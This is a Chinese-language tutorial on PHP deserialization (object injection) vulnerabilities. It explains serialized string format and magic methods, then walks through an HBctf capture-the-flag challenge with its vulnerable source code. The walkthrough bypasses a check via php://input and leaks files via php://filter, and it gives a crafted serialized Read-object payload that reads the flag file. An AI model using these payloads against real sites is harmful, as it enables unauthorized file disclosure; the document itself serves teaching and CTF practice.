php反序列化漏洞利用

0x00 unserialize函数

讲到php反序列化漏洞首先要提到unserialize函数,这个函数是php反序列化漏洞利用的基础。

php官方文档对unserialize()的说明是:unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。若被解序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)。

这也是我们要去利用的地方。

0x01 理解序列化的字符串

要学习反序列化漏洞,还要明白序列化后的字符串的意义,方便我们构造payload。

例如:

1
2
3
4
5
6
7
8
<?php
class foo{
public $filename='233.txt';
}
$a = new foo();
echo $a->filename.'<br />';
echo serialize($a);

运行这个php

1
2
233.txt
O:3:"foo":1:{s:8:"filename";s:7:"233.txt";}

第二行就是我们序列化之后的内容,我们来分析一下

O:对象,对象名长度为3,名字为“foo”,有一个参数。

s:字符串,长度为8,变量名字符串为“filename”

我们执行序列化之后可以将类,数组等压缩到一起。

注:a表示数组,i表示integer

0x02 php反序列化漏洞

php反序列化漏洞又称对象注入,可能会导致远程代码执行(RCE)

反序列化漏洞的执行过程就是通过可控的unserialze函数,构造一个类,调用这个类并执行魔术方法,然后执行类中的函数,达到攻击目的。

所以要利用反序列化必须满足两个条件:

1、应用程序中必须有一个实现某种php魔术方法的类,可用于执行恶意攻击。

2、当调用脆弱的unserialize()时,必须声明攻击期间所使用的所有类,否则必须支持此类的对象自动加载。

魔术方法:

魔术方法不需要调用就可以执行。
常见的魔术方法如下:

__construct() 类的构造函数

__destruct() 类的析构函数

__call() 在对象中调用一个不可访问方法时调用

__callStatic() 用静态方式中调用一个不可访问方法时调用

__get() 获得一个类的成员变量时调用

__set() 设置一个类的成员变量时调用

__isset() 当对不可访问属性调用isset()或empty()时调用

__unset() 当对不可访问属性调用unset()时被调用

__sleep() 执行serialize()时,先会调用这个函数

__wakeup() 执行unserialize()时,先会调用这个函数

__toString() 类被当成字符串时的回应方法

__invoke() 调用函数的方式调用一个对象时的回应方法

__set_state() 调用var_export()导出类时,此静态方法会被调用

__clone() 当对象复制完成时调用

__debugInfo() 打印所需调试信息

__autoload() 尝试加载未定义的类

0x03 实战

HBctf中有一道综合性的web题,最后的部分刚好是反序列化。

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
you are not admin !
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
-->

直接在get中构造赋值并没有用。

想到了php的伪协议 php://input,同时post数据the user is admin
1-1
第一步绕过,到了include($file); //class.php,提示我读取class.php

可以运用伪协议php://filter读取文件

利用方法:php://filter/convert.base64-encode/resource=xxxxx.php
1-2
得到base64编码后的class.php,解密得:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>

这里定义了一个Read类,有魔术方法__toString。

然后我用php伪协议读取了一下index.php,真正的源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
# index.php
$user = isset($_GET['user'])?$_GET["user"]:"";
$file = isset($_GET['file'])?$_GET["file"]:"class.php";
$pass = isset($_GET["pass"])?$_GET["pass"]:"";
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
if(preg_match("/f1a9/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}
?>

有unserialize(),有class类和魔术方法__toString(),我们就可以进行反序列化攻击了。

构造:O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}

1-3

解base64编码,得到flag。

bugku中的一个题与这个类似,有兴趣的可以去尝试一下

http://120.24.86.145:8006/test1/index.php

0x04 如何防御php反序列化漏洞

防御php反序列化漏洞很简单。

1、对参数进行过滤转义处理。

2、换用更安全的函数。